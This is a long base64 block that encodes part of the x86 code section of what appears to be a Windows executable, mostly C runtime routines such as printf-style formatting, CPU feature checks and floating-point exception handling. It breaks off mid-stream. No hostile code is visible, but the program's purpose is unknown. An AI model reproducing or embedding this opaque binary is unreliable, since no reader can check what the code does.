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iUYE6xKLDL0Ap0EAiU4IiQ6JXhiJXgSBTgwCEQAAM8BAW+sCM8BfXl3DVYvsVovxi00IxkYMAIXJdWZX6D49AACL+Il+CItXbIkWi09oiU4EOxWMnUEAdBGhSJ5BAIVHcHUH6CNlAACJBotGBF87BdyaQQB0FYtOCKFInkEAhUFwdQjoTTUAAIlGBItOCItBcKgCdRaDyAKJQXDGRgwB6wqLAYkGi0EEiUYEi8ZeXcIEAFWL7IHsiAQAAKEIkEEAM8WJRfyLRQiNjbD7//9TVomF2Pv//4tFDFf/dRCLfRSJhfj7//8zwIvYib3w+///iYWk+///i/CJnez7//+JhdD7//+Jhej7//+Jhdz7//+Jhaj7//+JhcD7//+JhdT7///oA////+iZDAAAiYWc+///OZ3Y+///dSrohgwAAMcAFgAAAOhY/P//OJ28+///dAqLhbj7//+DYHD9g8j/6fUKAACLlfj7//+F0nTMD7cSM8mJjfT7//+LwYmF4Pv//4mNzPv//4mNrPv//4mV5Pv//2aF0g+EqgoAAMeFkPv//1gAAADHhYz7//9kAAAAx4WI+///aQAAAMeFmPv//28AAACDhfj7//8ChcAPiHMKAABqWI1C4F9mO8d3Dw+3wg++gDgwQQCD4A/rAjPAi73M+///D768x1gwQQCLx4m9zPv//4u98Pv//8H4BImFzPv//4P4Bw+HCwoAAP8khcZdQAAzwION6Pv///+L2ImFqPv//4mFwPv//4mF0Pv//4mF3Pv//4md7Pv//4mF1Pv//+nQCQAAD7fCaiBaK8J0RoPoA3Q5g+gIdC9ISHQdg+gDi4X4+///D4WvCQAAg8sIiZ3s+///6aEJAACDywSJnez7///pjQkAAIPLAevwgcuAAAAA6+iDywLr42oqWGY70HUviweDxwSJvfD7//+JhdD7//+FwA+JWgkAAIPLBPfYiZ3s+///iYXQ+///6UQJAABrjdD7//8KD7fCg8HQA8GJhdD7///pJAkAADPAiYXo+///6R0JAABqKlhmO9B1K4sHg8cEiYXo+///hcCLhfj7//+JvfD7//8PifwIAACDjej7////6fAIAABrjej7//8KD7fCg8HQA8GJhej7///pyggAAA+3woP4SXRXg/hodEhqbFo7wnQag/h3i4X4+///D4WzCAAAgcsACAAA6fz+//+Lhfj7//9mORB1FIPAAoHLABAAAImF+Pv//+nd/v//g8sQ6dX+//9qIFgL2OnZ/v//i4X4+///D7cAg/g2dSOLvfj7//9mg38CNHUWi8eDwASBywCAAACJhfj7///pmv7//4P4M3Uji734+///ZoN/AjJ1FovHg8AEgeP/f///iYX4+///6XL+//9mO4WM+///D4QLCAAAZjuFiPv//w+E/gcAAGY7hZj7//8PhPEHAACD+HUPhOgHAACD+HgPhN8HAABmO4WQ+///D4TSBwAAM8CJhcz7//+NheD7///HhdT7//8BAAAAUP+12Pv//1LoOwgAAIPEDOmfBwAAD7fCg/hkD48pAgAAD4SxAgAAg/hTD48lAQAAdH2D6EF0EEhIdFhISHQISEgPhZoFAABqIFgD0MeFqPv//wEAAACJleT7//+Lhej7//+Ntfz7//+Dy0C5AAIAAImd7Pv//4mN9Pv//4XAD4mOAgAAx4Xo+///BgAAAOnfAgAA98MwCAAAD4XYAAAAaiBYC9iJnez7///pyAAAAPfDMAgAAHULaiBYC9iJnez7//+Llej7//+/////f4P6/3QCi/qLtfD7//+DxgSJtfD7//+Ldvz2wyAPhL8EAACF9nUGizUQlEEAM8mLxomF5Pv//4mN9Pv//4X/D47QBAAAigCEwA+ExgQAAI2NsPv//w+2wFFQ6L1gAABZhcCLheT7//9ZdAFAi430+///QEGJheT7//+JjfT7//87z3zB6YwEAACD6FgPhNwCAABISA+EiwAAAIPoBw+E7f7//0hID4VqBAAAD7cHg8cEx4XU+///AQAAAIm98Pv//4mFoPv///bDIHREiIXE+///M8CIhcX7//+NhbD7//9Qi4Ww+////3B0jYXE+///UI2F/Pv//1Do8GEAAIPEEIXAeRPHhcD7//8BAAAA6wdmiYX8+///M8mNtfz7//9B6eoDAACLB4PHBIm98Pv//4XAdDaLcASF9nQv98MACAAAdBcPvwCZK8LHhdT7//8BAAAAi8jpswMAADPJiY3U+///D78I6aUDAACLNRCUQQBW6DDs//9Zi8jpkQMAAIP4cA+P6wEAAA+E1wEAAIP4ZQ+MfwMAAIP4Zw+O8f3//2ppWjvCdGaD+G50J2pvWjvCD4VfAwAAx4Xk+///CAAAAITbeVuBywACAACJnez7///rTYPHBIm98Pv//4t//Ohm3///hcAPhEUFAACLheD7///2wyB0BWaJB+sCiQfHhcD7//8BAAAA6cMEAACDy0CJnez7///HheT7//8KAAAA98MAgAAAdQz3wwAQAAAPhJcBAACLD4PHCIm98Pv//4t//OmwAQAAdRRqZ1hmO9B1VseF6Pv//wEAAADrSjvBfgiLwYmF6Pv//z2jAAAAfjeNuF0BAABX6NgIAACLleT7//+Jhaz7//9ZhcB0Covwib30+///6wrHhej7//+jAAAAi73w+///iweDxwiJhXj7//+JvfD7//+LR/yJhXz7//+NhbD7//9Q/7Wo+///D77C/7Xo+///UP+19Pv//42FePv//1ZQ/zWclkEA/xVQIEEA/9CL+4PEHIHngAAAAHQhg73o+///AHUYjYWw+///UFb/NaiWQQD/FVAgQQD/0FlZamdYZjmF5Pv//3Uchf91GI2FsPv//1BW/zWklkEA/xVQIEEA/9BZWYA+LQ+FHv7//4HLAAEAAEaJnez7///pDP7//8eF6Pv//wgAAABqB+scg+hzD4R7/P//SEgPhJL+//+D6AMPhYkBAABqJ8eF5Pv//xAAAABYiYWk+///hNsPiXj+//9qMFmDwFFmiY3I+///ZomFyvv//8eF3Pv//wIAAADpVf7//4PHBIm98Pv///bDIHQR9sNAdAYPv0f86w4Pt0f86wj2w0B0DItH/JmLyIv6M8DrB4tP/DPAi/j2w0B0HDv4fxh8BDvIcxL32RP499+BywABAACJnez7///3wwCQAAB1Aov4i5Xo+///hdJ5BTPSQusWg+P3iZ3s+///gfoAAgAAfgW6AAIAAIvBC8d1BomF3Pv//421+/3//4vCSomV6Pv//4XAfwaLwQvHdD2LheT7//+ZUlBXUeiAXwAAg8EwiZ2E+///iYX0+///i/qD+Tl+BgONpPv//4uV6Pv//4gOTouN9Pv//+uwi53s+///jY37/f//K85GiY30+///98MAAgAAdEWFyXQFgD4wdDxOQWowWIgG6y2F9nUGizUUlEEAx4XU+///AQAAAIvOhf90DzPAT2Y5AXQHg8EChf918yvO0fmJjfT7//+DvcD7//8AD4WtAQAA9sNAdCD3wwABAAAPhB0BAABqLVhmiYXI+///x4Xc+///AQAAAGogWou90Pv//4uF3Pv//yv5K/j2wwx1HY2F4Pv//1D/tdj7//9XUug/AgAAi4Xc+///g8QQ/7Wc+///jY3g+///Uf+12Pv//1CNhcj7//9Q6EICAACDxBT2wwh0H/bDBHUajYXg+///UP+12Pv//1dqMFhQ6PIBAACDxBCDvdT7//8Ai4X0+///D4WzAAAAhcAPjqsAAACLzom15Pv//0iJhYT7//+NhbD7//9Qi4Ww+////3B0jYWg+///UVDo41wAAIPEEImFlPv//4XAfmeNheD7//9Q/7XY+////7Wg+///6E0BAACLjeT7//+DxAwDjZT7//+LhYT7//+JjeT7//+FwH+Y61b2wwF0B2or6dn+///2wwIPhOL+//9qIFpmiZXI+///x4Xc+///AQAAAOnM/v//g8j/iYXg+///6yP/tZz7//+NjeD7//9R/7XY+///UFboOwEAAIPEFIuF4Pv//4XAeB/2wwR0Go2F4Pv//1D/tdj7//9XaiBYUOjmAAAAg8QQi4Ws+///hcB0D1Do4BEAADPAWYmFrPv//4uN9Pv//4uF+Pv//w+3EIuF4Pv//4mV5Pv//2aF0g+FfvX//4C9vPv//wB0CouNuPv//4NhcP2LTfxfXjPNW+jR0f//i+Vdw+hWAQAAxwAWAAAA6Cjx//+Avbz7//8AD4TV9P//i424+///g2Fw/enG9P//jlVAAFRTQACIU0AA3VNAAC5UQAA7VEAAiFRAALNVQABVi+yLRQz2QAxAdAaDeAgAdB1Q/3UI6NBZAABZWbn//wAAZjvBdQiLRRCDCP9dw4tFEP8AXcNVi+xWi3UMhfZ+HleLfRRX/3UQTv91COiu////g8QMgz//dASF9n/nX15dw1WL7FaLdRhXi30QiwaJRRj2RwxAdBCDfwgAdQqLTRSLRQwBAetPgyYAU4tdDIXbfkGLRRRQi0UIS1cPtwBQ6Fv///+LRRSDxAyDRQgCgzj/dRSDPip1E1BXaj/oPv///4tFFIPEDIXbf8qDPgB1BYtFGIkGW19eXcPoATAAAIXAdQa4BJRBAMODwAzDVYvsVujk////i00IUYkI6CAAAABZi/DoBQAAAIkwXl3D6M0vAACFwHUGuACUQQDDg8AIw1WL7ItNCDPAOwzFmJJBAHQnQIP4LXLxjUHtg/gRdwVqDVhdw42BRP///2oOWTvIG8AjwYPACF3DiwTFnJJBAF3DzMzMzMzMzGiwX0AAZP81AAAAAItEJBCJbCQQjWwkECvgU1ZXoQiQQQAxRfwzxVCJZej/dfiLRfzHRfz+////iUX4jUXwZKMAAAAAw4tN8GSJDQAAAABZX19eW4vlXVHDzMzMzMzMzFWL7IPsGFOLXQxWV8ZF/wCLewiNcxAzPQiQQQDHRfQBAAAAiweD+P50DYtPBAPOMwww6IDP//+LRwiLTwwDzjMMMOhwz///i0UI9kAEZg+FzwAAAIlF6ItFEIlF7I1F6IlD/ItDDIlF+IP4/g+E7QAAAI0EQI1ABItMhwSNBIeLGIlF8IXJdHuL1ujDWwAAsQGITf+FwA+IfgAAAH5oi0UIgThjc23gdSiDPag/QQAAdB9oqD9BAOjkHwAAg8QEhcB0DmoB/3UI/xWoP0EAg8QIi1UIi00M6KZbAACLRQyLVfg5UAx0EGgIkEEAVovI6KdbAACLRQyJWAyLB4P4/nR162aKTf+JXfiLw4P7/g+FXv///4TJdEfrIcdF9AAAAADrGIN7DP50NmgIkEEAVovLuv7////oYFsAAIsHg/j+dA2LTwQDzjMMMOhozv//i1cIi08MA84zDDLoWM7//4tF9F9eW4vlXcOLTwQDzjMMMOhBzv//i0cIi08MA84zDDDoMc7//4tN8IvWi0kI6NZaAADMVYvsg30IAHUV6KP9///HABYAAADode3//4PI/13D/3UIagD/NdSuQQD/FYAgQQBdw1WL7FZXM/ZqAP91DP91COiEWwAAi/iDxAyF/3UlOQUIp0EAdh1W6AEcAACBxugDAABZOzUIp0EAdgODzv+D/v91xYvHX15dw1WL7FNWV4s9CKdBADP2/3UI6GspAACL2FmF23Ujhf90H1bovRsAAIs9CKdBAIHG6AMAAFk793YDg87/g/7/dc5fXovDW13DVYvsVlcz9v91DP91COhMWgAAi/hZWYX/dSo5RQx0JTkFCKdBAHYdVuhwGwAAgcboAwAAWTs1CKdBAHYDg87/g/7/dcOLx19eXcNVi+yB7IACAAChCJBBADPFiUX8i0UIjY2Q/f//U1aJhdD9//+LRQxX/3UQi30UiYXw/f//M8CL2Im95P3//4mFrP3//4vwiZ3o/f//iYXA/f//iYXY/f//iYXM/f//iYWk/f//iYW0/f//iYXI/f//6Jfu///oLfz//4mFqP3//4uF0P3//4XAD4S9CgAA9kAMQHVjUOjMUAAAWYvIg/n/dBmD+f50FIvRwfgFg+IfweIGAxSF2K5BAOsFutibQQD2QiR/D4WBCgAAg/n/dBmD+f50FIvBg+EfwfgFweEGAwyF2K5BAOsFudibQQD2QSSAD4VUCgAAi5Xw/f//hdIPhEYKAACKEjPAiYXc/f//i8iJjeD9//+Jhbz9//+JhbD9//+Ile/9//+Ilbj9//+E0g+E7gkAAIuF8P3//0CJhfD9//+FyQ+I2QkAAI1C4DxYdw8PvsIPvoA4MEEAg+AP6wIzwIu9vP3//w++vMdYMEEAi8eJvbz9//+LveT9///B+ASJhbz9//+D+AcPh3cJAAD/JIWubUAAM8CDjdj9////i9iJhaT9//+JhbT9//+JhcD9//+Jhcz9//+Jnej9//+Jhcj9///pPAkAAA++woPoIHRGg+gDdDmD6Ah0L0hIdB2D6AOLhfD9//8PhR0JAACDywiJnej9///pDwkAAIPLBImd6P3//+n7CAAAg8sB6/CBy4AAAADr6IPLAuvjgPoqdS+LB4PHBIm95P3//4mFwP3//4XAD4nLCAAAg8sE99iJnej9//+JhcD9///ptQgAAGuNwP3//woPvsKDwdADwYmFwP3//+mVCAAAM8CJhdj9///pjggAAID6KnUriweDxwSJhdj9//+FwIuF8P3//4m95P3//w+JcAgAAION2P3////pZAgAAGuN2P3//woPvsKDwdADwYmF2P3//+k+CAAAgPpJdEWA+mh0OIuF8P3//4D6bHQUgPp3D4UsCAAAgcsACAAA6Qf///+AOGx1DECBywAQAADp9v7//4PLEOnu/v//g8sg6fT+//+LhfD9//+KADw2dRyLvfD9//+AfwE0dRCLx4PAAoHLAIAAAOm+/v//PDN1HIu98P3//4B/ATJ1EIvHg8ACgeP/f///6Z7+//88ZA+EqgcAADxpD4SiBwAAPG8PhJoHAAA8dQ+EkgcAADx4D4SKBwAAPFgPhIIHAAAzwImFvP3//+sCM8CJhcj9//+NhZD9//9QD7bCUOiPUQAAWVmFwHQ4jYXg/f//UP+10P3///+1uP3//+i5BwAAi43w/f//g8QMigFBiIW4/f//iY3w/f//hMAPhGQHAACNheD9//9Q/7XQ/f///7W4/f//6IEHAACDxAzp/AYAAA++woP4ZA+PzQEAAA+EUQIAAIP4Uw+P7QAAAHR8g+hBdBBISHRWSEh0CEhID4UYBQAAgMIgx4Wk/f//AQAAAIiV7/3//4uF2P3//4219P3//4PLQLkAAgAAiZ3o/f//iY3E/f//hcAPiTICAADHhdj9//8GAAAA6YACAAD3wzAIAAAPhZ4AAACBywAIAACJnej9///pjQAAAPfDMAgAAHUMgcsACAAAiZ3o/f//i5XY/f//uf///3+D+v90AovKizeDxwSJveT9///3wxAIAAAPhFMEAACF9nUGizUUlEEAx4XI/f//AQAAAIvGhcl0DzPSSWY5EHQHg8AChcl18yvG0fjpPAQAAIPoWA+EsAIAAEhIdHCD6AcPhCf///9ISA+FJAQAAIPHBIm95P3///fDEAgAAHQwD7dH/FBoAAIAAI2F9P3//1CNhdz9//9Q6FFYAACDxBCFwHQfx4W0/f//AQAAAOsTikf8iIX0/f//x4Xc/f//AQAAAI219P3//+nFAwAAiweDxwSJveT9//+FwHQzi3AEhfZ0LA+/APfDAAgAAHQUmSvCx4XI/f//AQAAANH46YoDAAAzyYmNyP3//+l9AwAAizUQlEEAVujo2///WelrAwAAg/hwD4/jAQAAD4TPAQAAg/hlD4xZAwAAg/hnD45L/v//g/hpdGSD+G50JYP4bw+FPQMAAMeF3P3//wgAAACE23lbgcsAAgAAiZ3o/f//602DxwSJveT9//+Lf/zoJM///4XAD4QCBQAAi4Xg/f//9sMgdAVmiQfrAokHx4W0/f//AQAAAOl6BAAAg8tAiZ3o/f//x4Xc/f//CgAAAPfDAIAAAHUM98MAEAAAD4SOAQAAiw+DxwiJveT9//8z9ot//OmuAQAAdRGA+md1VseF2P3//wEAAADrSjvBfgiLwYmF2P3//z2jAAAAfjeNuF0BAABX6Jf4//+Kle/9//+JhbD9//9ZhcB0Covwib3E/f//6wrHhdj9//+jAAAAi73k/f//iweDxwiJhYj9//+JveT9//+LR/yJhYz9//+NhZD9//9Q/7Wk/f//D77C/7XY/f//UP+1xP3//42FiP3//1ZQ/zWclkEA/xVQIEEA/9CL+4PEHIHngAAAAHQhg73Y/f//AHUYjYWQ/f//UFb/NaiWQQD/FVAgQQD/0FlZgL3v/f//Z3Uchf91GI2FkP3//1BW/zWklkEA/xVQIEEA/9BZWYA+LQ+FKP7//4HLAAEAAEaJnej9///pFv7//8eF2P3//wgAAABqB+scg+hzD4Tf/P//SEgPhJb+//+D6AMPhWsBAABqJ8eF3P3//xAAAABYiYWs/f//hNsPiXz+//8EUcaF1P3//zCIhdX9///Hhcz9//8CAAAA6V7+//+DxwQz9om95P3///bDIHQR9sNAdAYPv0f86w4Pt0f86wj2w0B0CotH/JmLyIv66wWLT/yL/vbDQHQcO/5/GHwEO85zEvfZE/7334HLAAEAAImd6P3///fDAJAAAHUCi/6Lldj9//+F0nkFM9JC6xSD4/e4AAIAAImd6P3//zvQfgKL0IvBC8d1Bom1zP3//41184vCSomV2P3//4XAfwaLwQvHdD2Lhdz9//+ZUlBXUehOTwAAg8EwiZ2E/f//iYXE/f//i/qD+Tl+BgONrP3//4uV2P3//4gOTouNxP3//+uwi53o/f//jUXzK8ZGiYXc/f//98MAAgAAdDaFwHQFgD4wdC1O/4Xc/f//xgYw6yGF9nUGizUQlEEAi8brB0mAOAB0BUCFyXX1K8aJhdz9//+DvbT9//8AD4WGAQAA9sNAdDX3wwABAAB0CcaF1P3//y3rGvbDAXQJxoXU/f//K+sM9sMCdBHGhdT9//8gx4XM/f//AQAAAIu9wP3//yu93P3//4uFzP3//yv49sMMdR6NheD9//9Q/7XQ/f//V2og6AICAACLhcz9//+DxBD/taj9//+NjeD9//9R/7XQ/f//UI2F1P3//1DoBQIAAIPEFPbDCHQd9sMEdRiNheD9//9Q/7XQ/f//V2ow6LcBAACDxBCDvcj9//8Ai4Xc/f//dH2FwH55i85IiYXE/f//D7cBg8ECUGoGjUX0iY2E/f//UI2FoP3//1DoXVMAAIPEEIXAdT85haD9//90N/+1qP3//42F4P3//1D/tdD9//+NRfT/taD9//9Q6HQBAACLhcT9//+DxBSLjYT9//+FwHWW6yiDyf+JjeD9///rI/+1qP3//42N4P3//1H/tdD9//9QVug6AQAAg8QUi43g/f//hcl4I/bDBHQejYXg/f//UP+10P3//1dqIOjnAAAAg8QQi43g/f//i4Ww/f//hcB0FVDo4QEAADPAWYmFsP3//4uN4P3//4uF8P3//4oQiJXv/f//iJW4/f//hNIPhRj2//+LwYC9nP3//wBfXlt0CouNmP3//4NhcP2LTfwzzejSwf//i+Vdw+hX8f//xwAWAAAA6Cnh//+DyP/rx99lQADnY0AAG2RAAG5kQAC8ZEAAyWRAABNlQABVZkAAVYvsi1UM9kIMQHQGg3oIAHQv/0oEeA6LAopNCIgI/wIPtsHrD4tFCFIPvsBQ6IdPAABZWYP4/3UIi0UQgwj/XcOLRRD/AF3DVYvsVot1DIX2fh5Xi30UV/91EE7/dQjonP///4PEDIM//3QEhfZ/519eXcNVi+xWi3UYV4t9EIsGiUUY9kcMQHQQg38IAHUKi00Ui0UMAQHrToMmAFOLXQyF235Ai0UUUItFCEtXD7YAUOhJ////i0UUg8QM/0UIgzj/dRSDPip1E1BXaj/oLf///4tFFIPEDIXbf8uDPgB1BYtFGIkGW19eXcNVi+yLVQyhGJRBAPfSi00II9AjTQwL0YkVGJRBAF3D6EUTAACFwHQIahboYxMAAFn2BRiUQQACdCFqF+hcowAAhcB0BWoHWc0pagFoFQAAQGoD6GTe//+DxAxqA+jWyv//zFWL7ItFCKMMp0EAXcNVi+yDfQgAdC3/dQhqAP811K5BAP8VhCBBAIXAdRhW6Kjv//+L8P8VNCBBAFDore///1mJBl5dw8zMzMzMzMzMzMzMzMzMzIPsDN0UJOitVAAA6A0AAACDxAzDjVQkBOhYVAAAUpvZPCSLRCQMdFFmgTwkfwJ0BegQVAAAqQAAAIB1H9n6gz3Io0EAAA+Fg1QAALoFAAAAjQ0glEEA6YBUAACpAADwf3Usqf//DwB1JYN8JAgAdR7rzOjlUwAA6yKp//8PAHXyg3wkCAB16yUAAACAdLDd2NstEGRBALgBAAAAgz3Io0EAAA+FJlQAALoFAAAAjQ0glEEA6C9TAABaw1WL7N1FCNnu3eHf4Ff2xER6Cd3ZM//prwAAAFZmi3UOD7fGqfB/AAB1fItNDItVCPfB//8PAHUEhdJ0at7ZvwP8///f4PbEQXUFM8BA6wIzwPZFDhB1HwPJiU0MhdJ5BoPJAYlNDAPST/ZFDhB06GaLdQ6JVQi57/8AAGYj8WaJdQ6FwHQMuACAAABmC/BmiXUO3UUIagBRUd0cJOgxAAAAg8QM6yNqAFHd2FHdHCToHgAAAA+3/oPEDMHvBIHn/wcAAIHv/gMAAF6LRRCJOF9dw1WL7FFRi00Qi0UO3UUID7fAjYn+AwAAJQ+AAADB4QTdXfgLyGaJTf7dRfiL5V3DVYvsg+wMU4tdCFaL84PmH/bDCHQW9kUQAXQQagHooQUAAFmD5vfpkAEAAPbDBHQW9kUQBHQQagTohgUAAFmD5vvpdQEAAPbDAQ+EmgAAAPZFEAgPhJAAAABqCOhjBQAAi0UQWbkADAAAI8F0VD0ABAAAdDc9AAgAAHQaO8F1YotNDNnu3Bnf4N0FOJRBAPbEBXtM60iLTQzZ7twZ3+D2xAV7LN0FOJRBAOsyi00M2e7cGd/g9sQFeh7dBTiUQQDrHotNDNnu3Bnf4PbEBXoI3QUolEEA6wjdBSiUQQDZ4N0Zg+b+6dIAAAD2wwIPhMkAAAD2RRAQD4S/AAAAVzP/9sMQdAFHi00M3QHZ7trp3+D2xEQPi48AAADdAY1FCFBRUd0cJOjW/f//i0UIg8QMBQD6//+JRQjdVfTZ7j3O+///fQcz/97JR+tX3tkz0t/g9sRBdQFCi0X6uQP8//+D4A+DyBBmiUX6i0UIO8F9KSvIi0X09kX0AXQFhf91AUfR6PZF+AGJRfR0CA0AAACAiUX00W34SXXc3UX0hdJ0Atngi0UM3RjrAzP/R4X/X3QIahDoDAQAAFmD5v32wxB0EfZFECB0C2og6PYDAABZg+bvM8CF9l4PlMBbi+Vdw1WL7GoA/3Uc/3UY/3UU/3UQ/3UM/3UI6AUAAACDxBxdw1WL7ItFCDPJUzPbQ4lIBItFCFe/DQAAwIlICItFCIlIDItNEPbBEHQLi0UIv48AAMAJWAT2wQJ0DItFCL+TAADAg0gEAvbBAXQMi0UIv5EAAMCDSAQE9sEEdAyLRQi/jgAAwINIBAj2wQh0DItFCL+QAADAg0gEEItNCFaLdQyLBsHgBPfQM0EIg+AQMUEIi00IiwYDwPfQM0EIg+AIMUEIi00IiwbR6PfQM0EIg+AEMUEIi00IiwbB6AP30DNBCIPgAjFBCIsGi00IwegF99AzQQgjwzFBCOg/AwAAi9D2wgF0B4tNCINJDBD2wgR0B4tFCINIDAj2wgh0B4tFCINIDAT2whB0B4tFCINIDAL2wiB0BotFCAlYDIsGuQAMAAAjwXQ1PQAEAAB0Ij0ACAAAdAw7wXUpi0UIgwgD6yGLTQiLAYPg/oPIAokB6xKLTQiLAYPg/QvD6/CLRQiDIPyLBrkAAwAAI8F0ID0AAgAAdAw7wXUii0UIgyDj6xqLTQiLAYPg54PIBOsLi00IiwGD4OuDyAiJAYtFCItNFMHhBTMIgeHg/wEAMQiLRQgJWCCDfSAAdCyLRQiDYCDhi0UY2QCLRQjZWBCLRQgJWGCLRQiLXRyDYGDhi0UI2QPZWFDrOotNCItBIIPg44PIAolBIItFGN0Ai0UI3VgQi0UICVhgi00Ii10ci0Fgg+Djg8gCiUFgi0UI3QPdWFDoZgEAAI1FCFBqAWoAV/8VaCBBAItNCPZBCBB0A4Mm/vZBCAh0A4Mm+/ZBCAR0A4Mm9/ZBCAJ0A4Mm7/ZBCAF0A4Mm34sBuv/z//+D4AOD6AB0L0h0Hkh0C0h1KIEOAAwAAOsgiwYl//v//w0ACAAAiQbrEIsGJf/3//8NAAQAAOvuIRaLAcHoAoPgB4PoAHQVSHQHSHUaIRbrFosGI8INAAIAAOsJiwYjwg0AAwAAiQaDfSAAXnQH2UFQ2RvrBd1BUN0bX1tdw1WL7ItFCIP4AXQVg8D+g/gBdxjozuj//8cAIgAAAF3D6MHo///HACEAAABdw2oIaEiAQQDoCOn//4M98KZBAAF8W4tFCKhAdEqDPVCVQQAAdEGDZfwAD65VCOsui0XsiwCBOAUAAMB0C4E4HQAAwHQDM8DDM8BAw4tl6IMlUJVBAACDZQi/D65VCMdF/P7////rCoPgv4lFCA+uVQjo5Oj//8NVi+xR3X382+IPv0X8i+Vdw1WL7FGb2X38i00Mi0UI99EjRQxmI038ZgvID7fBiUUM2W0MD79F/IvlXcNVi+xRUYtNCPbBAXQK2y04lUEA210Im/bBCHQQm9/g2y04lUEA3V34m5vf4PbBEHQK2y1ElUEA3V34m/bBBHQJ2e7Z6N7x3dib9sEgdAbZ691d+JuL5V3DVYvsUZvdffwPv0X8i+Vdw8zMzMzMzMzMzMyLVCQEi0wkCPfCAwAAAHVAiwI6AXUyhMB0JjphAXUphOR0HcHoEDpBAnUdhMB0ETphA3UUg8EEg8IEhOR10ov/M8DD6wPMzMwbwIPIAcOL//fCAQAAAHQYigKDwgE6AXXng8EBhMB02PfCAgAAAHSgZosCg8ICOgF1zoTAdMI6YQF1xYTkdLmDwQLrhGoMaGiAQQDoWOf//2oO6J4AAABZg2X8AIt1CItGBIXAdDCLDRSnQQC6EKdBAIlN5IXJdBE5AXUsi0EEiUIEUej59v//Wf92BOjw9v//WYNmBADHRfz+////6AoAAADoRuf//8OL0evFag7orAEAAFnDVle+sHxBAL+wfEEA6wuLBoXAdAL/0IPGBDv3cvFfXsNWV764fEEAv7h8QQDrC4sGhcB0Av/Qg8YEO/dy8V9ew1WL7FaLdQiDPPVglUEAAHUTVuhxAAAAWYXAdQhqEehzwP//Wf809WCVQQD/FXggQQBeXcNWV75glUEAi/5Tix+F23QXg38EAXQRU/8ViCBBAFPoNfb//4MnAFmDxwiB/4CWQQB82FuDPgB0DoN+BAF1CP82/xWIIEEAg8YIgf6AlkEAfOJfXsNqCGiIgEEA6B/m//+DPdSuQQAAdRjomwQAAGoe6PEEAABo/wAAAOjNv///WVmLfQgz2zkc/WCVQQB1XGoY6Fbo//9Zi/CF9nUP6ILl///HAAwAAAAzwOtCagroGf///1mJXfw5HP1glUEAdRhTaKAPAABW6P0AAA